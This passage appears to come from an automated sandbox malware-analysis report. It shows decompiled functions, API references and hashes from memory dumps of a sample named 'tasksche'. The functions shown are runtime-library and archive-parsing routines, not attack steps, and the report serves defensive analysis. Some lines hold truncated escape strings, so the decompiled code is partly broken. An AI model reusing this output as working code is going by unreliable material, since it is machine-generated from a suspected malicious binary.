Opcode Fuzzy Hash: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction Fuzzy Hash: 6F01D836A4421877DB205F949C41FBB3B69E705F50F544036FA01B61D0C6BAA8269BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(E0042961B, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

0x00405f41
0x00405f46
0x00405f4a
0x00405f4f
0x00405f54
0x00405f56
0x00405f58
0x00405f5d
0x00405f5e
0x00405f61
0x00405f66
0x00405f6b
0x00405f70
0x00405f72
0x00405f77
0x00405f7f
0x00405f80
0x00405f83
0x00405f8e
0x00405f92
0x00405f9e
0x00405fa4
0x00405fb0
0x00405fc2
0x00405fc8
0x00405fce
0x00405fde
0x00405fe6

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

0x0041dad4
0x0041dade
0x0041dae5
0x0041db04
0x0041db0b
0x0041db12
0x0041db17
0x0041db17
0x0041db17
0x00000000
0x0041dae7
0x0041dae7
0x0041daec
0x0041db19
0x0041db19
0x0041db1c
0x0041daee
0x0041daf3
0x0041ec8a
0x0041ec8c
0x0041ec91
0x0041ec9b
0x0041eca0
0x0041eca2
0x0041eca6
0x0041ecb1
0x0041ecb1
0x0041ecc2
0x0041ecc2
0x0041daec

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

MOC, xrefs: 0041DAE0
csm, xrefs: 0041DAE7

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA7 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421BA7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x42d9d0);
				E0041FA9C(__ebx, __edi, __esi);
				_t31 = E0041E9B4(__ebx, __edx, __edi, _t35);
				_t15 =  *0x430da4; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0041EFA3(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x430ca8; // 0x4f16c8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x430880;
								if(__eflags != 0) {
									_push(_t33);
									E0041A506(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x430ca8; // 0x4f16c8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x430ca8; // 0x4f16c8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00421C42();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00421495(_t29, _t31, 0x20);
				}
				return E0041FAE1(_t33);
			}

0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba9
0x00421bae
0x00421bb8
0x00421bba
0x00421bc2
0x00421be3
0x00421be9
0x00421bed
0x00421bf0
0x00421bf3
0x00421bf9
0x00421bfb
0x00421bfd
0x00421c00
0x00421c06
0x00421c08
0x00421c0a
0x00421c10
0x00421c12
0x00421c13
0x00421c18
0x00421c10
0x00421c08
0x00421c19
0x00421c1e
0x00421c21
0x00421c27
0x00421c2b
0x00421c2b
0x00421c31
0x00421c38
0x00421bca
0x00421bca
0x00421bca
0x00421bcf
0x00421bd3
0x00421bd8
0x00421be0

APIs

__getptd.LIBCMT ref: 00421BB3

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__amsg_exit.LIBCMT ref: 00421BD3
__lock.LIBCMT ref: 00421BE3
InterlockedDecrement.KERNEL32(?), ref: 00421C00
InterlockedIncrement.KERNEL32(004F16C8), ref: 00421C2B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction ID: 6d4d6cab2ca80c9586acdc371c3e58b42f7918e3e726cea937426c24952e9619
Opcode Fuzzy Hash: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction Fuzzy Hash: 8401C439B40731ABC728AF56A40679E7760BF10724F94012BE804AB3A1CB3C6991DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E81(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t8;
				int _t12;
				int _t22;
				int _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8
CompareStringW.KERNEL32(00000400,00001001,?,?,00000000,?,?,00000000,?,00409F60,__rar_,00000000,00000006,00000000,?,00000800), ref: 00411ED5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 0040272E Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040272E(intOrPtr __ecx, signed int __edx) {
				signed int _t142;
				char _t143;
				void* _t147;
				signed int _t148;
				unsigned int _t149;
				signed int _t153;
				signed int _t170;
				signed int _t173;
				void* _t178;
				signed int _t179;
				void* _t182;
				signed char _t183;
				void* _t196;
				void* _t205;
				signed char _t207;
				void* _t217;
				signed char _t218;
				void* _t232;
				signed char _t234;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				void* _t247;
				signed char _t250;
				void* _t251;
				char* _t252;
				void* _t253;
				intOrPtr _t255;
				signed int _t260;
				intOrPtr _t262;
				signed char _t277;
				signed char _t280;
				signed char _t283;
				intOrPtr _t307;
				intOrPtr _t310;
				signed int _t312;
				signed char _t314;
				signed char _t316;
				void* _t318;
				void* _t320;
				signed int _t326;
				signed int _t339;

				_t312 = __edx;
				_t318 = _t320 - 0x6c;
				E0041AAF0(0x20c0);
				_t314 =  *(_t318 + 0x74);
				 *((intOrPtr*)(_t318 + 0x68)) = __ecx;
				_t255 =  *((intOrPtr*)(_t314 + 0x14));
				_t142 = _t255 -  *(_t318 + 0x78);
				if(_t142 <  *(_t314 + 0x18)) {
					L83:
					return _t142;
				}
				 *(_t314 + 0x18) = _t142;
				if(_t255 - _t142 >= 2) {
					_t316 =  *(_t318 + 0x7c);
					while(1) {
						_t142 = E0040B60D(_t312);
						 *(_t318 + 0x64) = _t312;
						if((_t142 | _t312) == 0) {
							break;
						}
						_t260 =  *(_t314 + 0x18);
						_t312 =  *((intOrPtr*)(_t314 + 0x14)) - _t260;
						if(_t312 == 0) {
							break;
						}
						_t326 =  *(_t318 + 0x64);
						if(_t326 > 0 || _t326 >= 0 && _t142 > _t312) {
							break;
						} else {
							_t246 = _t260 + _t142;
							 *(_t318 + 0x78) = _t246;
							_t143 = E0040B60D(_t312);
							_t247 = _t246 -  *(_t314 + 0x18);
							 *(_t318 + 0x64) =  *(_t318 + 0x64) & 0x00000000;
							 *((intOrPtr*)(_t318 + 0x58)) = _t143;
							 *(_t318 + 0x5c) = _t312;
							if( *((intOrPtr*)(_t316 + 4)) == 1 && _t143 == 1 && _t312 == 0) {
								 *((char*)(_t316 + 0x1e)) = _t143;
								_t234 = E0040B60D(_t312);
								 *(_t318 + 0x74) = _t234;
								if((_t234 & 0x00000001) != 0) {
									_t239 = E0040B60D(_t312);
									 *(_t318 + 0x4c) = _t239;
									if((_t239 | _t312) != 0) {
										_t310 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t310 + 0xb040)) +  *(_t318 + 0x4c);
										 *((intOrPtr*)(_t316 + 0x24)) =  *((intOrPtr*)(_t310 + 0xb044));
									}
								}
								if(( *(_t318 + 0x74) & 0x00000002) != 0) {
									_t235 = E0040B60D(_t312);
									 *(_t318 + 0x44) = _t235;
									if((_t235 | _t312) != 0) {
										_t307 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x30)) =  *((intOrPtr*)(_t307 + 0xb040)) +  *(_t318 + 0x44);
										 *((intOrPtr*)(_t316 + 0x34)) =  *((intOrPtr*)(_t307 + 0xb044));
									}
								}
							}
							_t262 =  *((intOrPtr*)(_t316 + 4));
							if(_t262 == 2 || _t262 == 3) {
								_t312 = 0;
								_t339 =  *(_t318 + 0x5c);
								if(_t339 > 0 || _t339 >= 0 &&  *((intOrPtr*)(_t318 + 0x58)) > 7) {
									goto L81;
								} else {
									_t147 =  *((intOrPtr*)(_t318 + 0x58)) - 1;
									if(_t147 == 0) {
										_t148 = E0040B60D(_t312);
										__eflags = _t148;
										if(_t148 <= 0) {
											_t149 = E0040B60D(_t312);
											 *(_t316 + 0x10b1) = _t149 & 0x00000001;
											 *(_t316 + 0x10ba) = _t149 >> 0x00000001 & 0x00000001;
											_t153 = E0040B562(_t314) & 0x000000ff;
											 *(_t316 + 0x10dc) = _t153;
											__eflags = _t153 - 0x18;
											if(_t153 > 0x18) {
												E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
											}
											E0040B696(_t314, _t316 + 0x1091, 0x10);
											E0040B696(_t314, _t316 + 0x10a1, 0x10);
											__eflags =  *(_t316 + 0x10b1);
											if( *(_t316 + 0x10b1) != 0) {
												_t248 = _t316 + 0x10b2;
												E0040B696(_t314, _t316 + 0x10b2, 8);
												E0040B696(_t314, _t318 + 0x54, 4);
												E004106AE(_t318 - 0x54);
												E004109B0(_t318 - 0x54, _t316 + 0x10b2, 8);
												E00410A29(_t314, _t312, __eflags, _t318 - 0x54, _t318 + 0x24);
												_t170 = E0041AC04(_t318 + 0x54, _t318 + 0x24, 4);
												_t320 = _t320 + 0xc;
												asm("sbb al, al");
												__eflags =  *((intOrPtr*)(_t316 + 4)) - 3;
												 *(_t316 + 0x10b1) =  ~_t170 + 1;
												if( *((intOrPtr*)(_t316 + 4)) == 3) {
													_t173 = E0041AC04(_t248, 0x42a49c, 8);
													_t320 = _t320 + 0xc;
													__eflags = _t173;
													if(_t173 == 0) {
														 *(_t316 + 0x10b1) = _t173;
													}
												}
											}
											 *((char*)(_t316 + 0x1090)) = 1;
											 *((intOrPtr*)(_t316 + 0x108c)) = 5;
											 *((char*)(_t316 + 0x108b)) = 1;
										} else {
											E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
										}
										goto L81;
									}
									_t178 = _t147 - 1;
									if(_t178 == 0) {
										_t179 = E0040B60D(_t312);
										__eflags = _t179;
										if(_t179 != 0) {
											goto L81;
										}
										_push(0x20);
										 *((intOrPtr*)(_t316 + 0x1060)) = 3;
										_push(_t316 + 0x1064);
										L33:
										E0040B696(_t314);
										goto L81;
									}
									_t182 = _t178 - 1;
									if(_t182 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L58:
											_t183 = E0040B60D(_t312);
											_t250 = _t183 & 0x00000001;
											 *(_t318 + 0x77) = _t183;
											__eflags = _t183 & 0x00000002;
											if((_t183 & 0x00000002) != 0) {
												_t283 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1030, E0040B5EC(_t283, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1030, _t312, E0040B5AF(_t283), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000004;
											if(( *(_t318 + 0x77) & 0x00000004) != 0) {
												_t280 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1038, E0040B5EC(_t280, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1038, _t312, E0040B5AF(_t280), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000008;
											if(( *(_t318 + 0x77) & 0x00000008) != 0) {
												_t277 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1040, E0040B5EC(_t277, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1040, _t312, E0040B5AF(_t277), 0);
												}
											}
											goto L81;
										}
										__eflags = _t247 - 9;
										if(_t247 < 9) {
											goto L81;
										}
										goto L58;
									}
									_t196 = _t182 - 1;
									if(_t196 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L53:
											E0040B60D(_t312);
											__eflags = E0040B60D(_t312);
											if(__eflags != 0) {
												 *((char*)(_t316 + 0x10e3)) = 1;
												E0040BC16(_t318 + 0x1c, 0x14, ";%u", _t198);
												_t320 = _t320 + 0x10;
												E00410BC9(__eflags,  *((intOrPtr*)(_t318 + 0x68)) + 0x6608, _t318 + 0x1c, 0x800);
											}
											goto L81;
										}
										__eflags = _t247 - 1;
										if(_t247 < 1) {
											goto L81;
										}
										goto L53;
									}
									_t205 = _t196 - 1;
									if(_t205 == 0) {
										 *((intOrPtr*)(_t316 + 0x10f0)) = E0040B60D(_t312);
										_t207 = E0040B60D(_t312);
										_t290 = _t314;
										 *(_t316 + 0x20f4) = _t207 & 0x00000001;
										_t251 = E0040B60D(_t312);
										 *((char*)(_t318 - 0x2054)) = 0;
										__eflags = _t251 - 0x1fff;
										if(_t251 < 0x1fff) {
											_t290 = _t314;
											E0040B696(_t314, _t318 - 0x2054, _t251);
											 *((char*)(_t318 + _t251 - 0x2054)) = 0;
										}
										E0040A277(_t318 - 0x2054, _t318 - 0x2054, 0x2000);
										E00411CD1(_t290, _t318 - 0x2054, _t316 + 0x10f4, 0x800);
										goto L81;
									}
									_t217 = _t205 - 1;
									if(_t217 == 0) {
										_t218 = E0040B60D(_t312);
										 *(_t316 + 0x20f6) = _t218 >> 0x00000002 & 0x00000001;
										_t252 = _t316 + 0x20f8;
										 *(_t318 + 0x7c) = _t218;
										 *(_t316 + 0x20f7) = _t218 >> 0x00000003 & 0x00000001;
										 *((char*)(_t316 + 0x21f8)) = 0;
										 *_t252 = 0;
										__eflags = _t218 & 0x00000001;
										if((_t218 & 0x00000001) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											E0040B696(_t314, _t252,  *(_t318 + 0x74));
											 *((char*)(_t252 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t318 + 0x7c) & 0x00000002;
										if(( *(_t318 + 0x7c) & 0x00000002) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											_t253 = _t316 + 0x21f8;
											E0040B696(_t314, _t253,  *(_t318 + 0x74));
											 *((char*)(_t253 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t316 + 0x20f6);
										if( *(_t316 + 0x20f6) != 0) {
											 *((intOrPtr*)(_t316 + 0x22f8)) = E0040B60D(_t312);
										}
										__eflags =  *(_t316 + 0x20f7);
										if( *(_t316 + 0x20f7) != 0) {
											 *((intOrPtr*)(_t316 + 0x22fc)) = E0040B60D(_t312);
										}
										 *((char*)(_t316 + 0x20f5)) = 1;
										goto L81;
									}
									if(_t217 != 1) {
										goto L81;
									}
									if(_t262 == 3) {
										_t232 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t318 + 0x78);
										if(_t232 == 1) {
											_t247 = _t247 + _t232;
											asm("adc eax, edx");
										}
									}
									E00401C1D(_t316 + 0x1020, _t247);
									_push(_t247);
									_push( *((intOrPtr*)(_t316 + 0x1020)));
									goto L33;
								}
							} else {
								L81:
								 *(_t314 + 0x18) =  *(_t318 + 0x78);
								_t142 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t314 + 0x18);
								if(_t142 >= 2) {
									continue;
								}
								break;
							}
						}
					}
				}
			}

0x0040272e
0x0040272f
0x00402738
0x0040273e
0x00402741
0x00402744
0x00402749
0x0040274f
0x00402c84
0x00402c88
0x00402c88
0x00402757
0x0040275d
0x00402764
0x00402768
0x0040276a
0x00402773
0x00402776
0x00000000
0x00000000
0x0040277c
0x00402782
0x00402784
0x00000000
0x00000000
0x0040278c
0x0040278f
0x00000000
0x0040279f
0x0040279f
0x004027a4
0x004027a7
0x004027ac
0x004027af
0x004027b7
0x004027ba
0x004027bd
0x004027ca
0x004027cd
0x004027d2
0x004027d7
0x004027db
0x004027e0
0x004027e5
0x004027e7
0x004027f9
0x004027fb
0x004027fe
0x004027fe
0x004027e5
0x00402805
0x00402809
0x0040280e
0x00402813
0x00402815
0x00402827
0x00402829
0x0040282c
0x0040282c
0x00402813
0x00402805
0x0040282f
0x00402835
0x00402840
0x00402842
0x00402845
0x00000000
0x00402857
0x0040285a
0x0040285b
0x00402b57
0x00402b5c
0x00402b5e
0x00402b73
0x00402b7f
0x00402b89
0x00402b94
0x00402b97
0x00402b9d
0x00402ba0
0x00402ba9
0x00402ba9
0x00402bb9
0x00402bc9
0x00402bce
0x00402bd5
0x00402bd9
0x00402be2
0x00402bef
0x00402bf8
0x00402c04
0x00402c11
0x00402c20
0x00402c25
0x00402c2a
0x00402c2e
0x00402c32
0x00402c38
0x00402c42
0x00402c47
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c4e
0x00402c4c
0x00402c38
0x00402c54
0x00402c5b
0x00402c65
0x00402b60
0x00402b67
0x00402b67
0x00000000
0x00402b5e
0x00402861
0x00402862
0x00402b30
0x00402b35
0x00402b37
0x00000000
0x00000000
0x00402b3d
0x00402b45
0x00402b4f
0x004028b1
0x004028b3
0x00000000
0x004028b3
0x00402868
0x00402869
0x00402a68
0x00402a6b
0x00000000
0x00000000
0x00402a71
0x00402a7c
0x00402a7e
0x00402a85
0x00402a88
0x00402a8b
0x00402a8d
0x00402a8f
0x00402a91
0x00402a93
0x00402ab7
0x00402a95
0x00402aa3
0x00402aa3
0x00402a93
0x00402abc
0x00402ac0
0x00402ac2
0x00402ac4
0x00402ac6
0x00402aea
0x00402ac8
0x00402ad6
0x00402ad6
0x00402ac6
0x00402aef
0x00402af3
0x00402af9
0x00402afb
0x00402afd
0x00402b24
0x00402aff
0x00402b0d
0x00402b0d
0x00402afd
0x00000000
0x00402af3
0x00402a73
0x00402a76
0x00000000
0x00000000
0x00000000
0x00402a76
0x0040286f
0x00402870
0x00402a07
0x00402a0a
0x00000000
0x00000000
0x00402a10
0x00402a1b
0x00402a1d
0x00402a29
0x00402a2b
0x00402a3d
0x00402a44
0x00402a49
0x00402a5e
0x00402a5e
0x00000000
0x00402a2b
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00402a15
0x00402876
0x00402877
0x00402996
0x0040299c
0x004029a3
0x004029a5
0x004029b0
0x004029b2
0x004029b9
0x004029bf
0x004029c9
0x004029cb
0x004029d0
0x004029d0
0x004029e5
0x004029fd
0x00000000
0x004029fd
0x0040287d
0x0040287e
0x004028bf
0x004028cc
0x004028da
0x004028e0
0x004028e3
0x004028e9
0x004028f0
0x004028f3
0x004028f5
0x004028fe
0x00402906
0x00402909
0x0040290b
0x0040290b
0x00402914
0x0040291c
0x0040291c
0x00402920
0x00402924
0x0040292d
0x00402935
0x00402938
0x0040293a
0x0040293a
0x00402940
0x00402949
0x00402951
0x00402951
0x00402955
0x0040295c
0x00402965
0x00402965
0x0040296b
0x00402972
0x0040297b
0x0040297b
0x00402981
0x00000000
0x00402981
0x00402881
0x00000000
0x00000000
0x0040288a
0x0040288f
0x00402895
0x00402897
0x0040289c
0x0040289c
0x00402895
0x004028a5
0x004028aa
0x004028ab
0x00000000
0x004028ab
0x00402c6c
0x00402c6c
0x00402c6f
0x00402c75
0x00402c7b
0x00000000
0x00000000
0x00000000
0x00402c7b
0x00402835
0x0040278f
0x00402c82

APIs

_swprintf.LIBCMT ref: 00402A44

Strings

;%u, xrefs: 00402A32

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
